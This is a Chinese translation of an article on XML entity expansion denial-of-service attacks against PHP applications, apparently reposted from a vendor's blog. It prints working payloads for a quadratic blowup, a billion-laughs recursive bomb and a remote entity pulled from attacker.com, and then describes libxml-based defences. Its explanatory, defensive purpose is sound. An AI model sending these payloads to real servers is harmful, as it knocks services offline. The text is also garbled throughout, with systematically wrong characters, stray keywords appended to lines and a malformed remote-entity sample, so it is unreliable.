XMl Entity Expansion(攻击)某种程度上相似于 XML Entity Expansion,可是它主要试图经过消耗目标程序的服务器环境来进行DOS攻击的。这种攻击基于XML Entity Expansion实现,经过在XML的DOCTYPE
中建立自定义实体的定义实现,好比,这种定义能够在内存中生成一个比XML的原始容许大小大出不少的XML结构,来使这种攻击得以耗尽网络服务器正常有效运行的必需内存资源。这种攻击方式一样适用于HTML5的XML序列化功能模块,该模块当前还不能被libxml2
扩展包识别为HTML。php
要扩展XML自定义实体以达到预期的耗尽服务器资源效果有好几种方式。 ###Generic Entity Expansionhtml
###通用实体扩展攻击node
通用实体扩展攻击一样被称为“Quadratic Blowup Attack”,使用这种方式时,自定义实体被定义为一个极长的字符串。当文件中大量使用这个实体时,该实体在每次调用时都会进行扩展,生成一个大幅超出原XML所需RAM大小的XML结构。安全
<?xml version="1.0"?> <!DOCTYPE results [<!ENTITY long "SOME_SUPER_LONG_STRING">]> <results> <result>Now include &long; lots of times to expand the in-memory size of this XML structure</result> <result>&long;&long;&long;&long;&long;&long;&long; &long;&long;&long;&long;&long;&long;&long;&long; &long;&long;&long;&long;&long;&long;&long;&long; &long;&long;&long;&long;&long;&long;&long;&long; Keep it going... &long;&long;&long;&long;&long;&long;&long;...</result> </results>
经过平衡自定义实体字符串大小和文档主体内使用实体数量,能够建立一个扩展至占用服务器可预测RAM空间大小的XML文档或字符串。经过这样重复请求来占用服务器RAM,就能够发动一次成功的拒绝服务攻击。该方式的缺陷是,因为产生内存消耗效果是基于简单数乘的,所以初始XML文档或字符串自己须要足够大。服务器
###递归实体扩展攻击网络
通用实体扩展攻击须要足够大的XML输入数据量,而递归实体扩展攻击的平均输入字节能产生更强力的攻击效果。这种攻击方式依赖于XML解析器来解析,从而完成小实体集的指数级增加。经过这种指数爆炸性增加方式,一个比通用实体扩展攻击使用小得多的输入数据量实际可增加得极大。所以这种方式被称为“XML Bomb”或是“Billion Laughs Attack”也是十分恰切的。dom
<?xml version="1.0"?> <!DOCTYPE results [ <!ENTITY x0 "BOOM!"> <!ENTITY x1 "&x0;&x0;"> <!ENTITY x2 "&x1;&x1;"> <!ENTITY x3 "&x2;&x2;"> <!-- Add the remaining sequence from x4...x100 (or boom) --> <!ENTITY x99 "&x98;&x98;"> <!ENTITY boom "&x99;&x99;"> ]> <results> <result>Explode in 3...2...1...&boom;</result> </results>
XML Bomb攻击并不须要可能会被程序限制的大量XML数据输入。实体集像这样指数倍增加,最终造成的扩展后文本大小是初始 &x0
实体值的2的100次方倍。这着实是一个庞大且毁灭性超强的炸弹!函数
###远程实体扩展攻击性能
常规和递归实体扩展攻击都依赖于XML文档类型定义中定义在本地的实体,可是攻击者一样能够进行外部实体定义。这很显然须要XML解析器可以像咱们以前在描述XML外部实体注入式攻击(XXE)时遇到的那样,发起远程HTTP请求。而拒绝这种请求对你的XML解析器而言是一种基础的安保措施。所以,防护XXE攻击的措施一样适用于此类XML实体扩展攻击。this
虽然说能够经过上述方式进行防护,远程实体扩展经过使XML解析器发出远程HTTP请求来得到被引用实体的扩展值来进行攻击。返回结果将自行定义其余XML解析器必须另行HTTP请求的外部实体。如此一来,一些看似并没有攻击性的请求会迅速脱离控制,并给服务器的可用资源带来负担。这种状况下,若是请求自包括一个递归扩展攻击,那最终结果会更加糟糕。
<?xml version="1.0"?> <!DOCTYPE results [ <!ENTITY cascade SYSTEM "http://attacker.com/entity1.xml"> ]> <results> <result>3..2..1...&cascade<result> </results>
上述攻击手法还有可能更加迂回地进行DOS攻击,好比,远程请求被调整到针对本地程序或其余任何共享其服务器资源的程序。这种攻击方式可能形成自我损伤式的DOS攻击,其中, XML解析器尝试解析外部实体可能会触发无数针对本地程序的请求,并由此消耗更多的服务器资源。该方式所以被用于放大以前讨论过的关于使用XML外部实体注入式攻击(XXE)以完成DOS攻击的攻击影响。
##针对XML实体扩展攻击的防护措施
下列常规防护措施,是从咱们针对普通XML外部实体攻击(XXE)的防护措施继承而来的。咱们应当拒绝XML中自定义实体对本地文件和远程HTTP请求的解析,并可以使用如下可全局应用于全部内部使用了libxml2
函数的PHP或XML所书写扩展的函数进行拒绝。
libxml_disable_entity_loader(true);
诚然PHP以不按常理出牌著称,它并不使用常规的防护方式。常规的防护方式在文档类型声明中,使用XML的文档类型定义来彻底拒绝经过自定义实体的定义。PHP也的确为防护功能定义了一个替代实体的LIBXML_NOENT
常量,以及DOMDocument::$substituteEntities
公共属性,可是使用这两条定义的防护效果不甚明显。彷佛咱们只能这样将就解决问题,而没有任何更好的解决方案。
虽然说没有更好的方案,libxml2
函数也确实内置了默认拒绝递归实体解析。要知道递归实体要是出了问题但是能让你的错误日志”咻”地一下跟点亮圣诞树同样全面飘红的。如此看来,好像也不必特地针对递归实体使用一种特殊防护手段,尽管咱们是得作点什么来防止万一libxml2
函数忽然陷回解析递归实体的故障里去。
当下新型威胁主要来自Generic Entity Expansion 或者Quadratic Blowup Attack的粗暴攻击方式。此类攻击方式不须要调用远程或本地系统,也不须要实体递归。事实上,惟一的防护措施要么是不用XML,要么是清理过滤全部包含文档类型声明的XML。除非要求的文档类型声明接收于安全的可信源,不然最安全的作法就是不用XML了。好比,咱们是由同行验证的HTTPS链接接受的。不然,既然PHP没给咱们提供禁用文档类型定义的选项,那咱们就只能自建逻辑了。假定你能调用libxml_disable_entity_loader(TRUE)
,那么后续程序运行就是安全的了,由于实体扩展这一步已经被递延到被扩展影响的节点值可被再次访问的时候了(然而勾选TURE之后永远都访问不到了)。
$dom = new DOMDocument; $dom->loadXML($xml); foreach ($dom->childNodes as $child) { if ($child->nodeType === XML_DOCUMENT_TYPE_NODE) { throw new \InvalidArgumentException( 'Invalid XML: Detected use of illegal DOCTYPE' ); } }
固然啦,在libxml_disable_entity_loader
被设定为TRUE
的前提下,以上代码才能正常运行,设定后XML初始加载的时外部实体引用就不会被解析了。除非解析器本身有一套全面的针对如何进行实体解析的控制选项,不然XML解析器不依赖libxml2
函数进行解析时,恐怕这就是惟一的防护措施了。
若是你想使用SimpleXML函数,记得用the simplexml_import_dom()
函数来转换核验过的DOMDocument
项目。
原文地址:Injection Attacks
OneAPM for PHP 可以深刻到全部 PHP 应用内部完成应用性能管理 可以深刻到全部 PHP 应用内部完成应用性能管理和监控,包括代码级别性能问题的可见性、性能瓶颈的快速识别与追溯、真实用户体验监控、服务器监控和端到端的应用性能管理。想阅读更多技术文章,请访问 OneAPM 官方技术博客。 本文转自 OneAPM 官方博客